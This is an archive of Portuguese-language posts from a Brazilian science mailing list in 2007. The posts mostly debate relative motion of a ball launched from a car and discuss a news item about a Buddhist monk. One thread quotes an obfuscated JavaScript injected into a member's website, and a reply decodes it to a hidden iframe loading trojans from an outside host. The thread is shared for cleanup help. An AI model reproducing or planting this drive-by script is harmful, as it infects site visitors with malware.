terem sido responsáveis pela cura da sua síndrome do pânico.

- Quando era adolescente, tinha sérias crises de pânico. Foi só depois
que estabeleci uma rotina mais séria de meditação que simplesmente me
curei do mal - diz o Rinpoche, em entrevista por telefone, ainda em
São Paulo, primeira parada da sua turnê brasileira.

"A alegria..." pretende fazer o cruzamento de informações científicas
com os milenares ensinamentos budistas, um procedimento ao qual os
seguidores de Sidarta gostam de se dedicar. Como já disse o próprio
Dalai Lama, chefe supremo da religião, "se a ciência efetivamente
provar que algum preceito budista não faz sentido, não haverá
constrangimento algum em mudá-lo".

O livro já acena como sucesso de vendas. Lançado em março, já chegou
aos 30 mil exemplares vendidos nos EUA e será traduzido para mais 11
línguas. Uma ameaça ao sucesso de vendas do Dalai Lama?

- Não, não, não, por favor! - Mingyur Rinpoche se apressa em
responder, aparentemente constrangido.

A programação de palestras de Mingyur Rinpoche no Brasil inclui
ensinamentos budistas, prática de meditação e uma iniciação, que será
realizada no agradável espaço do templo KTC, em Vargem Grande. Confira
as paradas do Rinpoche na cidade do Cristo Redentor. E confira mais
informações no site www.ktc.org.br.

PALESTRAS: Descobrindo o Segredo da Felicidade

19 de junho, 18h30

Salão Nobre

Botafogo Futebol e Regatas

Av, Venceslau Brás, 72

Botafogo


21 de junho, 10:30h

Subsecretaria de Estudos e Pesquisas em Administração Pública

Rua Afonso Cavalcanti, 455 - Anexo - 9º andar - Ala A

Inscrições exclusivamente em :
www.rio.rj.gov.br/estudosepesquisas/inscricao/palestra



21 de junho, 19h

Centro de Convenções Barrashoping

Av, das Américas, 4666

3º andar - Centro médico

Inscrições exclusivamente pelo e-mail: mingyurrinpochenorio@gmail.com


DIÁLOGO INTER-RELIGIOSO: Budismo e Cristianismo

20 de junho, 9h30

Auditório do RDC - PUC

Rua Marquês de São Vicente, 225 - Gávea

com o Padre Jesus Hortal - Reitor da PUC

Inscrições exclusivamente pelo e-mail: mingyurrinpochenorio@gmail.com



ENSINAMENTO : As quatro nobres verdades por Mingyur Rinpoche

20 de junho, 18h30

Chagdud Gompa Ped Gyal Ling

Rua Santa Clara, 98 - Cob. 01 - Copacabana

Inscrições indispensáveis pelo e-mail: mingyurrinpochenorio@gmail.com



INICIAÇÃO: Buda da Medicina

23 de junho, 9h

KTC - Karma Theksum Chokhorling

Estrada dos Bandeirantes, 25636 - Vargem Grande

Inscrições exclusivamente pelo site www.ktc.org.br


SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/06/2007 14:35

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> A força do vento deslocado pelo carro, *acelera* a bola na
> horizontal e explica o aumento dos arcos das parábolas após o
> lançamento da bola.

Como eu disse, os arcos estão simétricos, isso não é esperado para um
movimento q seja acelerado horizontalmente.

> Será que Homero, José Carlos e Ricardo vão questionar o uso de dois
> referenciais, como fizeram na questão do avião-esteira?

Carro e bola são objetos distintos. E a análise para referenciais
diferentes não podem ser misturadas.

[]s,

Roberto Takata



SUBJECT: Re: Não venham me dizer que não é um texto que fala sobre ciência!
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/06/2007 15:25

--- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
> Não venham me dizer que não é um texto que fala sobre ciência!

Realmente não tem nada a ver com ciências. Apenas mencionar a palavra
ciência não qualifica um texto como de "abordagem" científica.

[]s,

Roberto Takata



SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/06/2007 15:28

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> 1.2 - o módulo da velocidade de lançamento da bola (em relação ao
> carro) não coincide exatamente com o da velocidade do carro (em
> relação ao solo), é ligeiramente maior;

Aliás, o módulo da Vbola/carro é ligeriamente menor do q o módulo da
Vcarro/solo.

[]s,

Roberto Takata



SUBJECT: [RN] OS PIORES EMPREGOS DO MUNDO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/06/2007 16:50

Revista lista as piores profissões que existem
A lista anual da "Pop Science" foi publicada nesta semana.
Mergulhadores de esgoto lideram o ranking.
http://g1.globo.com/Noticias/Ciencia/0,,MUL55510-5603-4167,00.html
---------------
[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] [RN] OS PIORES EMPREGOS DO MUNDO
FROM: "Mauro" <bombaspr@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/06/2007 17:07

Revista lista as piores profissões que existem
A lista anual da "Pop Science" foi publicada nesta semana.
Mergulhadores de esgoto lideram o ranking.
http://g1.globo.com/Noticias/Ciencia/0,,MUL55510-5603-4167,00.html

Mauro: Não tem relação com ciência, mas sempre imaginei um dos piores
empregos ser chefe do setor responsável por malas perdidas de uma
companhia aérea (protetor auricular certamente faz parte dos EPIs).
:-)

Inté+
Mauro



SUBJECT: [RN] "ROUANET" PARA PESQUISA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/06/2007 17:27

MEC cria Lei Rouanet da pesquisa

"Redução fiscal mais royalties serão dados a empresas que financiarem
universidades e institutos públicos e privados"
http://www.estado.com.br/editorias/2007/06/20/ger-1.93.7.20070620.1.1.xml
---------------------
[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Não venham me dizer que não é um texto que fala sobre ciência!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/06/2007 18:12

Entre 'auto-ajuda' e 'ciência' há uma distância respeitável! Obviamente não poderia faltar no texto o seguinte trecho típico: [ ... o cruzamento de informações científicas com os milenares ensinamentos budistas ... ]; o fato de ser milenar não significa que seja 'científico', pelo contrário!

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Esteban Moreno" <estebanlmoreno@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 20 de junho de 2007 14:20
Assunto: [ciencialist] Não venham me dizer que não é um texto que fala sobre ciência!


Não venham me dizer que não é um texto que fala sobre ciência!
Esteban.


O homem mais feliz do mundo está no Rio

Mingyur Rinpoche é um monge budista, nascido no Nepal, que ganhou
notoriedade internacional no início deste ano por ter sido apontado
por estudiosos da Universidade de Wisconsin como o "homem mais feliz
do mundo". Isso porque depois de ter sido submetido à uma série de
testes neurológicos que faziam parte de um estudo sobre a mente, teve
como diagnóstico a informação de suas ondas cerebrais correspondem a
uma felicidade ainda não experimentada por humanos. Por conta disso,
ele apareceu nas páginas da revista "Time" e da "National geographic",
o que obviamente ecoou em várias partes do planeta.

Os cariocas poderão testemunhar tamanha felicidade de perto ao longo
desta semana. Mingyur acaba de chegar ao Rio para uma série de
palestras sobre o livro que acaba de lançar por aqui, "A alegria de
viver". Nele, ele ensina técnicas simples de meditação, que ele alega
terem sido responsáveis pela cura da sua síndrome do pânico.

- Quando era adolescente, tinha sérias crises de pânico. Foi só depois
que estabeleci uma rotina mais séria de meditação que simplesmente me
curei do mal - diz o Rinpoche, em entrevista por telefone, ainda em
São Paulo, primeira parada da sua turnê brasileira.

"A alegria..." pretende fazer o cruzamento de informações científicas
com os milenares ensinamentos budistas, um procedimento ao qual os
seguidores de Sidarta gostam de se dedicar. Como já disse o próprio
Dalai Lama, chefe supremo da religião, "se a ciência efetivamente
provar que algum preceito budista não faz sentido, não haverá
constrangimento algum em mudá-lo".

O livro já acena como sucesso de vendas. Lançado em março, já chegou
aos 30 mil exemplares vendidos nos EUA e será traduzido para mais 11
línguas. Uma ameaça ao sucesso de vendas do Dalai Lama?

- Não, não, não, por favor! - Mingyur Rinpoche se apressa em
responder, aparentemente constrangido.

A programação de palestras de Mingyur Rinpoche no Brasil inclui
ensinamentos budistas, prática de meditação e uma iniciação, que será
realizada no agradável espaço do templo KTC, em Vargem Grande. Confira
as paradas do Rinpoche na cidade do Cristo Redentor. E confira mais
informações no site www.ktc.org.br.

PALESTRAS: Descobrindo o Segredo da Felicidade

19 de junho, 18h30

Salão Nobre

Botafogo Futebol e Regatas

Av, Venceslau Brás, 72

Botafogo


21 de junho, 10:30h

Subsecretaria de Estudos e Pesquisas em Administração Pública

Rua Afonso Cavalcanti, 455 - Anexo - 9º andar - Ala A

Inscrições exclusivamente em :
www.rio.rj.gov.br/estudosepesquisas/inscricao/palestra



21 de junho, 19h

Centro de Convenções Barrashoping

Av, das Américas, 4666

3º andar - Centro médico

Inscrições exclusivamente pelo e-mail: mingyurrinpochenorio@gmail.com


DIÁLOGO INTER-RELIGIOSO: Budismo e Cristianismo

20 de junho, 9h30

Auditório do RDC - PUC

Rua Marquês de São Vicente, 225 - Gávea

com o Padre Jesus Hortal - Reitor da PUC

Inscrições exclusivamente pelo e-mail: mingyurrinpochenorio@gmail.com



ENSINAMENTO : As quatro nobres verdades por Mingyur Rinpoche

20 de junho, 18h30

Chagdud Gompa Ped Gyal Ling

Rua Santa Clara, 98 - Cob. 01 - Copacabana

Inscrições indispensáveis pelo e-mail: mingyurrinpochenorio@gmail.com



INICIAÇÃO: Buda da Medicina

23 de junho, 9h

KTC - Karma Theksum Chokhorling

Estrada dos Bandeirantes, 25636 - Vargem Grande

Inscrições exclusivamente pelo site www.ktc.org.br


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SUBJECT: Re: [ciencialist] Paineis solares no google
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/06/2007 18:20

Olá Daniel,

cristalinamente entendido. O problema é "como esse script foi parar na minha página de abertura". Eu deleto esse script e um ou dois dias depois lá está ele novamente! Como ele entra lá?!

grato,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "daniel danieç" <p_h_a_n_t_o_m_6_6_6@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 20 de junho de 2007 13:40
Assunto: Re: [ciencialist] Paineis solares no google


o script converte o conteudo da variavel str1 para um código HTML que cria um IFRAME direcionando a uma pagina externa que começa a baixar um alguns trojans e virus...
o código gerad é este: (sem os espaços)
< d i v s t y l e = " v i s i b i l i t y : h i d d e n " > < i f r a m e s r c = " h t t p : / / k o n i c n t . c o m / l d / m e n t / " w i d t h = 1 h e i g h t = 1 > < / i f r a m e > < / d i v >

para impedir a chamada desta pagina, se este código estiver em alguma pagina no seu servidor, apenas arraque esta parte de código javascript... se o código estiver numa pagina externa referenciada por alguma pagina de seu servidor, tire a chamada desta pagina externa...


Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:


Ola pessoal,

hoje a página do Feira de Ciências apareceu novamente com problema. Eis a cópia do 'importuno':

<br><script language="JavaScript">e = '0x00' + '7A';str1 = "%C1%99%92%8F%E5%88%89%82%91%9E%C6%DB%8F%92%88%92%9B%92%91%92%89%82%C3%9D%92%99%99%9E%97%DB%C7%C1%92%9F%8B%9A%96%9E%E5%88%8B%98%C6%DB%9D%89%89%95%C3%D4%D4%90%94%97%92%98%97%89%D7%98%94%96%D4%91%99%D4%96%9E%97%89%D4%DB%E5%8C%92%99%89%9D%C6%CA%E5%9D%9E%92%9C%9D%89%C6%CA%C7%C1%D4%92%9F%8B%9A%96%9E%C7%C1%D4%99%92%8F%C7";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>

Que faço para impedir a entrada disso na página inicial do Feira?
O que está escrito nesse 'script'?

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/06/2007 18:36

De: "rmtakata" <roberto.takata@bol.com.br>
> 1.2 - o módulo da velocidade de lançamento da bola (em relação ao
> carro) não coincide exatamente com o da velocidade do carro (em
> relação ao solo), é ligeiramente maior;

>> Aliás, o módulo da Vbola/carro é ligeriamente menor do q o módulo da
Vcarro/solo. <<

Exatamente a minha proposta para justificar o movimento da bola após seu 'lançamento' (que na verdade, para o solo, é mais uma 'abandono'). Para o solo, a velocidade da bola (após o 'abandono') é:

V bola/solo = |V bola/carro| - |Vcarro/solo| > 0

Com essa velocidade horizontal inicial ela descreverá os arcos de parábola já analisados. A simetria dos arcos denota a negligenciável ação de arraste pelo 'vácuo' entre as quicadas e as possíveis rotações da bola. Se tivéssemos uma parte do filme vista pelo lançador de bolas (para registrar o plano de movimento da bola) saberíamos se houve ou não desvios de Coriolis, tirando a bola desse plano vertical.

[]'
Léo




SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a 100Km/h
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/06/2007 19:00

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Se tivéssemos uma parte do filme vista pelo lançador de bolas (para
> registrar o plano de movimento da bola) saberíamos se houve ou não
> desvios de Coriolis, tirando a bola desse plano vertical.

Se bem q para q a bola saísse do plano pelo efeito Coriolis a rotação
da bola teria q ter uma componente perpendicular ao plano vertical.
Pelo posicionamento dos rotores do lançador de bola não se espera q
seja gerada uma quantidade apreciável de rotação horizontal na bola.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/06/2007 22:05

É possível explicar de alguma maneira simplificada ou puramente
"física", o que é esse efeito coriolis? Ou dependeria de conhecer
certas equações?

(Sim, sou analfabeto matemático, nao tem jeito! rsrs)
Gil
Em 20/06/07, rmtakata<roberto.takata@bol.com.br> escreveu:
> --- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> > Se tivéssemos uma parte do filme vista pelo lançador de bolas (para
> > registrar o plano de movimento da bola) saberíamos se houve ou não
> > desvios de Coriolis, tirando a bola desse plano vertical.
>
> Se bem q para q a bola saísse do plano pelo efeito Coriolis a rotação
> da bola teria q ter uma componente perpendicular ao plano vertical.
> Pelo posicionamento dos rotores do lançador de bola não se espera q
> seja gerada uma quantidade apreciável de rotação horizontal na bola.
>
> []s,
>
> Roberto Takata
>
>
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SUBJECT: RE: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, pedraderoseta@yahoogrupos.com.br
DATE: 20/06/2007 22:21

Shogum, dodeska?
Mantenho integralmente o meu texto, já que todas suas considerações foram
inóquas e bobinhas.
Não precisa ter pressa, não precisa pensar, basta entender o que digo.
abr/Murilo SP 20/jun07


>From: "rmtakata" <roberto.takata@bol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
>100Km/h:osresultados
>Date: Wed, 20 Jun 2007 02:05:37 -0000
>
>--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> > - é lógico que ela vai acompanhar a velocidade do carro, como uma
> > bomba lançada de um avião.
>
>Não é lógico porq, as bombas são despejadas e não lançadas para trás.
>
> > - a bola quicando na direção do carro mostra que ela está sob duas
> > forças, um vetor entre a gravidade da terra e a velocidade original
> > do carro.
>
>Hãããã?
>
> > - reparem que a bola está quicando muito lentamente.
>
>Lentamente?
>
> > - p/a bola ser lançada a 100km/h MESMO, ou 100km/h efetivos, teriam
> > que dispôr de um lançador a 200km/h, sendo 50% p/anular a velocidade
> > do carro.
>
>A idéia não é essa. A idéia é lançar a bola a 100 km/h em relação ao
>carro.
>
>[]s,
>
>Roberto Takata
>
>
>
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SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a 100Km/h
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/06/2007 22:21

http://www.feiradeciencias.com.br/sala04/04_34.asp
http://www.feiradeciencias.com.br/sala04/04_35.asp

com matemática:
http://www.feiradeciencias.com.br/sala05/05_RE16_04.asp
--------
[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> É possível explicar de alguma maneira simplificada ou puramente
> "física", o que é esse efeito coriolis? Ou dependeria de conhecer
> certas equações?
>
> (Sim, sou analfabeto matemático, nao tem jeito! rsrs)
> Gil



SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a 100Km/h
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/06/2007 22:23

Olá Gil

E uma força extra da Wikipédia:

http://pt.wikipedia.org/wiki/For%C3%A7a_de_Coriolis

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> http://www.feiradeciencias.com.br/sala04/04_34.asp
> http://www.feiradeciencias.com.br/sala04/04_35.asp
>
> com matemática:
> http://www.feiradeciencias.com.br/sala05/05_RE16_04.asp
> --------
> []s,
>
> Roberto Takata
>
> --- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@> escreveu
> > É possível explicar de alguma maneira simplificada ou puramente
> > "física", o que é esse efeito coriolis? Ou dependeria de conhecer
> > certas equações?
> >
> > (Sim, sou analfabeto matemático, nao tem jeito! rsrs)
> > Gil
>




SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/06/2007 22:27

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> Mantenho integralmente o meu texto, já que todas suas considerações
> foram inóquas e bobinhas.

Como queira.

> Não precisa ter pressa, não precisa pensar, basta entender o que
> digo.

Pelo q eu entendi vc não entendeu o problema analisado.

[]s,

Roberto Takata



SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/06/2007 22:34

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> Shogum, dodeska?

Apropo, vc escreveu errado. Em roomaji seria "shoogun" (ou "sh&#333;gun") -
em português xogum. E "doodesuka" (ou "d&#333;desuka") e não "dodeska".

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ Renato - Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/06/2007 23:26

Olá, Homero!
Faço comentários no seu texto abaixo, após JR, OK?
.................................................................................

From: "Oraculo" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, June 20, 2007 2:17 PM
Subject: [ciencialist] P/ Renato - Jogar uma bola a 100Km/h de um carro
a100Km/h:osresultados


Olá Jose Renato

Renato: "Será que Homero, José Carlos e Ricardo vão questionar o uso de dois
referenciais, como fizeram na questão do avião-esteira?"

Sim, porque está, mais uma vez, falando besteira (desculpe, não encontrei
outro termo mais adequado a sua obseção cognitiva com esse assunto..:-).
JR - Vc afirma que sim, que vai questionar, e em seguida concorda com o
comentário de Takata e explica o porquê a utilização de dois referenciais
para esclarecer o problema está correto... Daria para explicar melhor essa
confusa e conflitante conclusão?

A bola tem o referencial que se desejar apenas como análise de comportamento
relacional. Enquanto está no carro, sua velocidade (da bola), em relação ao
solo, é de 100 km/h na mesma direção do veículo. Ao ser acelerada pela
máquina, vai "diminuindo" sua velocidade em relação ao solo, até chegar a
zero, pois acelerar nesse caso (e não no caso do avião e da esteira) é
diminuir a velocidade em relação ao chão. O "truque" aqui (sempre existe
algo que engana você nessas questões, como no caso da esteira), é que essa
desaceleração se dá em instantes, no tempo que leva a máquina para acelerar
a bola (aceleração em relação ao veículo, desaceleração em relação ao solo,
mas com resultado IDENTICO em qualquer referencial tomado para análise).
JR - E vc ainda não percebeu que é isso o que ocorre na análise do problema
do avião na esteira? O avião-bola iguala a velocidade da esteira-carro e
fica praticamente parado em relação ao chão-solo.

Se desejar analisar a velocidade em relação a qualquer outro elemento, fique
à vontade, mas sempre terá de escolher um referencial para entender o que
acontece com a bola. Neste caso, a idéia é entender o que acontece com a
bola em relação ao chão. Mas, e isso é IMPORTANTE e você parece não
entender, não importa que refencial tome, a bola SEMPRE SE COMPORTARÁ DO
MESMO JEITO!
JR - Foi o que fiz para achar a resposta adequada ao problema do
avião-esteira.

Não vai mudar sua trajetória com a mudança de referencial, assim como o
avião NÃO VAI DEIXAR DE DECOLAR se mudar a dele.

Renato: "A força do vento deslocado pelo carro, *acelera* a bola na
horizontal e
explica o aumento dos arcos das parábolas após o lançamento da bola."

Não , não explica, e é isso que todos os calculos do Takata demonstram,
embora você não os tenha compreendido. Pegue uma bola de basquete, jogue
para frente, e ela vai pular, se afastando de você. Mas, se der rotação a
bola, com a mão sob a bola "empurrando" a bola antes de soltar, e a de cima,
"puxando a bola em sua direção entes de soltar (peça a um jogador de
basquete para fazer o truque, ele vai entender rapidamente), a bola vai se
afastar de você apenas enquanto não toca o solo, depois, vai quicar se
aproximando de você, voltando para você, devido a rotação a ela imprimida.
JR - ?!

O vento deslocado pelo carro deveria ser mais forte imediatamente depois da
bola lançada, e não bem depois, quando esta chega ao solo. Nesse momento, o
carro já se afastou, e a força do arrasto se diluiu, mais que no momento do
lançamento. Assim, a bola deveria, se a força do vento fosse relevante,
fazer a bola cair em arco, e depois ir diminuindo seu movimento em direção a
trajetória do carro.
JR - O vento deslocado pelo carro tem sim maior velocidade logo após da bola
lançada, mas - e aí é que vc se perde - a bola é acelerada pela força do
vento a partir do lançamento quando está praticamente parada no ar... E nos
instantes após o lançamento adquire maior velocidade impulsionada pelo
vento. A força do vento é maior quando a bola é lançada, porém sua
velocidade é praticamente zero. É a partir daí que a força do vento vai
acelerar a bola a cada instante. É devido a esse empuxo do vento que ela
aumenta de velocidade - a partir do lançamento - e a distância percorrida a
cada quicada é maior. Vc precisa voltar a estudar movimentos...

Você está deixando, mais uma vez, seu "bom senso" enganar você,
principalmente devido a falta de informação sobre física. Está tentando
analisar eventos físicos com sua "intuição" natural, o que, é claro, enganou
nossos antepassados por milenios, e está iludindo você também. Se pelo menos
estudasse o que o pessoal da lista sugeriu, diversas vezes, isso ajudaria
bastante.
JR - Vc está se expondo ao ridículo com essa pose de catedrático sabidório
que não consegue pensar por si mesmo e que comete erros tolos na
interpretação de movimentos simples. Reavalie suas opiniões e interpretações
dessa questão da bola com calma. Vai ver depois que ela é semelhante à
questão do avião-esteira.

Homero

Abraços
José Renato
.............................................

----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, June 20, 2007 12:04 PM
Subject: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro a
100Km/h:osresultados


From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, June 20, 2007 1:30 AM
Subject: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
100Km/h:os
resultados

Takata escreveu:
[ 1.2 - o módulo da velocidade de lançamento da bola (em relação ao carro)
não coincide exatamente com o da velocidade do carro (em relação ao solo),
[a velocidade do carro] é ligeiramente maior;
1.3 - a bola é empurrada para a frente pelo vento formado pela passagem do
carro; ]
...........................................

A força do vento deslocado pelo carro, *acelera* a bola na horizontal e
explica o aumento dos arcos das parábolas após o lançamento da bola.

O posicionamento da bola e das rodas do carro na foto são extremamente
irregulares, o que certamente não reflete o movimento real de ambos.

Sutilmente, Takata responde ao questionamento que fiz em e-mail anterior:
[ qual o referencial usado para medir a velocidade da bola lançada do
veículo?].
Como já tinha adiantado o carro usa a pista-chão, como referencial para a
medida da sua velocidade de deslocamento, e a bola usa o carro-lançador
como
referencial para medir sua velocidade de lançamento.

Será que Homero, José Carlos e Ricardo vão questionar o uso de dois
referenciais, como fizeram na questão do avião-esteira?

Será que a semelhança entre esteira-carro e avião-bola já começa a ser
percebida?

Abraços

José Renato
..........................................




SUBJECT: Re: [ciencialist] Re: Não venham me dizer que não é um texto que fala sobre ciência!
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 20/06/2007 23:32

Bom, mas ao menos sabemos que há testes científicos para se avaliar a
felicidade e que o bendito monge saiu-se muito bem.
Namastê,
Esteban.



Em 20/06/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
>
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
> > Não venham me dizer que não é um texto que fala sobre ciência!
>
> Realmente não tem nada a ver com ciências. Apenas mencionar a palavra
> ciência não qualifica um texto como de "abordagem" científica.
>
> []s,
>
> Roberto Takata
>
>


SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/06/2007 23:43

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, June 20, 2007 2:35 PM
Subject: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
100Km/h:osresultados


Takata: Como eu disse, os arcos estão simétricos, isso não é esperado para
um movimento q seja acelerado horizontalmente.
JR - Entretanto, é o empuxo do vento em movimento que acelera na horisontal
a bola que está praticamente parada para após o lançamento. Esse empuxo
provocado pelo deslocamento do carro no ar sempre irá existir, mesmo que as
velocidades sejam exatamente iguais e a bola tenha rotação própria que
aumente ou reduza de forma significativa a velocidade dela ao quicar na
pista.

> Será que Homero, José Carlos e Ricardo vão questionar o uso de dois
> referenciais, como fizeram na questão do avião-esteira?

Carro e bola são objetos distintos. E a análise para referenciais diferentes
não podem ser misturadas.
JR - Que o carro e a bola são objetos distintos está claro, assim como
esteira e avião são objetos distintos... Ou não?! A análise para a
velocidade da esteira em relação ao chão é uma. A análise para a velocidade
do avião em relação à esteira é outra. E a análise da velocidade do ar em
relação ao avião é mais uma. Não estão misturadas. E agora, como é que fica?

[]s,
Roberto Takata

Abraços
José Renato
...................................



SUBJECT: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/06/2007 23:50

Ricardo: A única coisa que os 2 problemas têm em comum é o seu erro, para
variar...
........................
Vc não disse qual é o meu erro? Não adianta se esconder. A verdade vai
chegando de mansinho no problema da bola e em outros trocentos problemas
semelhantes de movimentos relativos. São eles que vão mostrar quem está
errando e insistindo no erro de interpretação, só para não aceitar que minha
análise está correta.
[]s
JR
..............................................

From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, June 20, 2007 2:11 PM
Subject: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro
a100Km/h:osresultados


> Como já tinha adiantado o carro usa a pista-chão, como referencial para a
> medida da sua velocidade de deslocamento, e a bola usa o carro-lançador
> como referencial para medir sua velocidade de lançamento.
>
> Será que Homero, José Carlos e Ricardo vão questionar o uso de dois
> referenciais, como fizeram na questão do avião-esteira?

E lá vamos nós...

Mas o que esse filme trata não é exatamente a questão dos referenciais? Mais
do que explicitamente?

A única coisa que os 2 problemas têm em comum é o seu erro, para variar...


Sds,

Ricardo



SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 20/06/2007 23:56

Takata, em minha resposta em Wednesday, June 20, 2007 12:04 PM, já tinha
feito a correção no acréscimo entre colchetes: [a velocidade do carro].

Takata escreveu:
[ 1.2 - o módulo da velocidade de lançamento da bola (em relação ao carro)
não coincide exatamente com o da velocidade do carro (em relação ao solo),
[a velocidade do carro] é ligeiramente maior;
1.3 - a bola é empurrada para a frente pelo vento formado pela passagem do
carro; ]

[]s
JR
................................................................

From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, June 20, 2007 3:28 PM
Subject: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
100Km/h:osresultados


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> 1.2 - o módulo da velocidade de lançamento da bola (em relação ao
> carro) não coincide exatamente com o da velocidade do carro (em
> relação ao solo), é ligeiramente maior;

Aliás, o módulo da Vbola/carro é ligeriamente menor do q o módulo da
Vcarro/solo.

[]s,

Roberto Takata



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SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 21/06/2007 00:03

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> JR - Entretanto, é o empuxo do vento em movimento que acelera na
> horisontal a bola que está praticamente parada para após o
> lançamento.

Se fosse o caso, o arco de parábola não deveria ser simétrico. Além
disso não seria esperado q o arco ficasse mais e mais aberto a cada
quique, ao contrário, o efeito deveria ser forte no começo e mais e
mais fraco subseqüentemente.

